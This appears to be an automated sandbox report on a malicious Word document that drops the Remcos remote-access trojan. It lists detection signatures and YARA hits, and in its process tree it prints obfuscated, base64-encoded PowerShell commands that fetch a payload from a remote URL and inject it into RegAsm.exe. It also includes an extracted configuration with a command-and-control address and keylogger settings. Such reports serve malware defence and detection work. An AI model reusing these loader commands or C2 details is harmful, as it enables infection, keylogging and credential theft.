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Windows
Analysis Report
Scan Order and Specification 01-10- 2024.docx
Overview
General Information
Detection
Remcos
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus detection for dropped file
Contains functionality to bypass UAC (CMSTPLUA)
Detected Remcos RAT
Found malware configuration
Malicious sample detected (through community Yara rule)
Microsoft Office launches external ms-search protocol handler (WebDAV)
Multi AV Scanner detection for submitted file
Sigma detected: EQNEDT32.EXE connecting to internet
Sigma detected: File Dropped By EQNEDT32EXE
Sigma detected: Remcos
Suricata IDS alerts for network traffic
Yara detected Remcos RAT
Yara detected UAC Bypass using CMSTP
Bypasses PowerShell execution policy
C2 URLs / IPs found in malware configuration
Connects to many ports of the same IP (likely port scanning)
Contains an external reference to another file
Contains functionality to inject code into remote processes
Contains functionality to register a low level keyboard hook
Contains functionality to steal Chrome passwords or cookies
Contains functionality to steal Firefox passwords or cookies
Contains functionalty to change the wallpaper
Delayed program exit found
Document exploit detected (process start blacklist hit)
Injects a PE file into a foreign processes
Installs a global keyboard hook
Maps a DLL or memory area into another process
Microsoft Office drops suspicious files
Obfuscated command line found
Office drops RTF file
Office equation editor establishes network connection
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Office viewer loads remote template
Searches for Windows Mail specific files
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Equation Editor Network Connection
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Suspicious Microsoft Office Child Process
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Instant Messenger accounts or passwords
Tries to steal Mail credentials (via file / registry access)
Tries to steal Mail credentials (via file registry)
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Yara detected WebBrowserPassView password recovery tool
Abnormal high CPU Usage
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Contains functionality for read data from the clipboard
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Contains functionality to download and launch executables
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to enumerate running services
Contains functionality to launch a control a shell (cmd.exe)
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Document contains Microsoft Equation 3.0 OLE entries
Document misses a certain OLE stream usually present in this Microsoft Office document type
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found decision node followed by non-executed suspicious APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Office Equation Editor has been started
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Potentially Suspicious Execution Of Regasm/Regsvcs From Uncommon Location
Sigma detected: Suspicious Office Outbound Connections
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected Keylogger Generic
Yara signature match
Classification
- System is w7x64
- WINWORD.EXE (PID: 3348 cmdline:
"C:\Progra m Files\Mi crosoft Of fice\Offic e14\WINWOR D.EXE" /Au tomation - Embedding MD5: 9EE74859D22DAE61F1750B3A1BACB6F5) - EQNEDT32.EXE (PID: 3800 cmdline:
"C:\Progra m Files\Co mmon Files \Microsoft Shared\EQ UATION\EQN EDT32.EXE" -Embeddin g MD5: A87236E214F6D42A65F5DEDAC816AEC8) - wscript.exe (PID: 3872 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\nicew orkwithpci tureupdate son.vBS" MD5: 979D74799EA6C8B8167869A68DF5204A) - powershell.exe (PID: 3916 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command $ Codigo = ' LigoR1YgJy ptRHIqJyku bmFNZVszLD ExLDJdLUpv aU4nJykoIC goJ3sxfXVy bCA9IHswfW h0dCcrJ3Bz JysnOi8nKy cvcmF3Lmcn KydpdCcrJ2 h1YnVzZXJj b250JysnZW 50JysnLmNv JysnbS9Ob0 RlJysndGVj JysndE9uJy snL04nKydv RCcrJ2UnKy d0ZWN0Jysn T24vcmVmcy crJy9oZWFk cy8nKydtYW luJysnL0Rl dGEnKydoTm 8nKyd0aC1W LnR4dHswfT sgezEnKyd9 JysnYicrJ2 FzZTY0Q29u dGVudCA9IC hOZXcnKyct T2InKydqZW MnKyd0IFMn Kyd5Jysncy crJ3RlbS5O ZXQnKycuV2 ViJysnQ2xp ZScrJ250KS 4nKydEb3du bG8nKydhZF N0cicrJ2lu Zyh7JysnMX 11Jysncmwp OyB7MX1iJy snaW4nKydh cnlDb250ZW 50ID0gWycr J1N5c3QnKy dlJysnbS4n KydDbycrJ2 52ZXInKyd0 JysnXScrJz o6JysnRnJv bUJhJysnc2 U2JysnNFMn Kyd0Jysncm knKyduZyh7 JysnMScrJ3 1iYScrJ3Nl JysnNjRDb2 50JysnZScr J24nKyd0KT sgezF9YScr J3NzZW1ibH kgPSBbJysn UmUnKydmbG VjdCcrJ2kn KydvbicrJy 4nKydBc3Nl bScrJ2InKy dseV0nKyc6 OicrJ0xvJy snYWQoJysn ezF9YicrJ2 luYXInKyd5 Q29udGUnKy dudCk7IFtk bmwnKydpYi 5JTy4nKydI b21lXScrJz o6JysnVkEn KydJKHsyfX R4JysndC5C R0YnKydSLy crJzAnKycx JysnNS84Lj cuOCcrJzYx LjQwMS8vJy snOnB0dGh7 Mn0sIHsnKy cyJysnfScr J2QnKydlc2 EnKyd0aXZh ZG97Mn0nKy csIHsyfWRl JysncycrJ2 F0aXZhZCcr J28nKyd7Mi crJ30sIHsy JysnfWRlcy crJ2F0Jysn aXZhJysnZG 97JysnMn0n KycsIHsyfV InKydlJysn Z0FzbXsnKy cyfSwgezIn Kyd9ezJ9LC crJ3snKycy JysnfScrJ3 syfSknKS1m IFtjSEFSXT M5LFtjSEFS XTM2LFtjSE FSXTM0KSk= ';$OWjuxd = [system. Text.encod ing]::UTF8 .GetString ([system.C onvert]::F rombase64S tring($cod igo));powe rshell.exe -windowst yle hidden -executio npolicy by pass -NoPr ofile -com mand $OWju xD MD5: EB32C070E658937AA9FA9F3AE629B2B8) - powershell.exe (PID: 4004 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -windowsty le hidden -execution policy byp ass -NoPro file -comm and ".((GV '*mDr*'). naMe[3,11, 2]-JoiN'') ( (('{1}ur l = {0}htt '+'ps'+':/ '+'/raw.g' +'it'+'hub usercont'+ 'ent'+'.co '+'m/NoDe' +'tec'+'tO n'+'/N'+'o D'+'e'+'te ct'+'On/re fs'+'/head s/'+'main' +'/Deta'+' hNo'+'th-V .txt{0}; { 1'+'}'+'b' +'ase64Con tent = (Ne w'+'-Ob'+' jec'+'t S' +'y'+'s'+' tem.Net'+' .Web'+'Cli e'+'nt).'+ 'Downlo'+' adStr'+'in g({'+'1}u' +'rl); {1} b'+'in'+'a ryContent = ['+'Syst '+'e'+'m.' +'Co'+'nve r'+'t'+']' +'::'+'Fro mBa'+'se6' +'4S'+'t'+ 'ri'+'ng({ '+'1'+'}ba '+'se'+'64 Cont'+'e'+ 'n'+'t); { 1}a'+'ssem bly = ['+' Re'+'flect '+'i'+'on' +'.'+'Asse m'+'b'+'ly ]'+'::'+'L o'+'ad('+' {1}b'+'ina r'+'yConte '+'nt); [d nl'+'ib.IO .'+'Home]' +'::'+'VA' +'I({2}tx' +'t.BGF'+' R/'+'0'+'1 '+'5/8.7.8 '+'61.401/ /'+':ptth{ 2}, {'+'2' +'}'+'d'+' esa'+'tiva do{2}'+', {2}de'+'s' +'ativad'+ 'o'+'{2'+' }, {2'+'}d es'+'at'+' iva'+'do{' +'2}'+', { 2}R'+'e'+' gAsm{'+'2} , {2'+'}{2 },'+'{'+'2 '+'}'+'{2} )')-f [cHA R]39,[cHAR ]36,[cHAR] 34))" MD5: EB32C070E658937AA9FA9F3AE629B2B8) - RegAsm.exe (PID: 2136 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Reg Asm.exe" MD5: 8FE9545E9F72E460723F484C304314AD) - RegAsm.exe (PID: 1972 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\RegA sm.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\ic hnvnuxjbso rvkwq" MD5: 8FE9545E9F72E460723F484C304314AD) - RegAsm.exe (PID: 1060 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\RegA sm.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\ic hnvnuxjbso rvkwq" MD5: 8FE9545E9F72E460723F484C304314AD) - RegAsm.exe (PID: 1884 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\RegA sm.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\tw mgvffrxjkt bjyahjdg" MD5: 8FE9545E9F72E460723F484C304314AD) - RegAsm.exe (PID: 2556 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\RegA sm.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\vy rywypslrcy dpuequqauf z" MD5: 8FE9545E9F72E460723F484C304314AD) - RegAsm.exe (PID: 1688 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\RegA sm.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\ir flzfvzprua fqgyqnkxgb " MD5: 8FE9545E9F72E460723F484C304314AD) - RegAsm.exe (PID: 2200 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\RegA sm.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\al gvnlhhqgud zwxguvhnul fpxhl" MD5: 8FE9545E9F72E460723F484C304314AD) - RegAsm.exe (PID: 1120 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\RegA sm.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\sr zilnhhbbbt iyigffpvar sgam" MD5: 8FE9545E9F72E460723F484C304314AD)
- cleanup
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
Remcos, RemcosRAT | Remcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity. |
{"Host:Port:Password": "103.186.116.99:58934:1", "Assigned name": "RemoteHost", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "Rmc-IAW1Y3", "Keylog flag": "1", "Keylog path": "Temp", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "10", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5"}
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
INDICATOR_RTF_MalVer_Objects | Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. | ditekSHen |
| |
INDICATOR_RTF_MalVer_Objects | Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. | ditekSHen |
|
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Keylogger_Generic | Yara detected Keylogger Generic | Joe Security | ||
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
JoeSecurity_UACBypassusingCMSTP | Yara detected UAC Bypass using CMSTP | Joe Security | ||
Windows_Trojan_Remcos_b296e965 | unknown | unknown |
| |
REMCOS_RAT_variants | unknown | unknown |
| |
Click to see the 22 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Keylogger_Generic | Yara detected Keylogger Generic | Joe Security | ||
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
JoeSecurity_UACBypassusingCMSTP | Yara detected UAC Bypass using CMSTP | Joe Security | ||
Windows_Trojan_Remcos_b296e965 | unknown | unknown |
| |
REMCOS_RAT_variants | unknown | unknown |
| |
Click to see the 18 entries |
Exploits |
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Source: | Author: Joe Security: |
Source: | Author: Joe Security: |
System Summary |
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Source: | Author: Florian Roth (Nextron Systems): |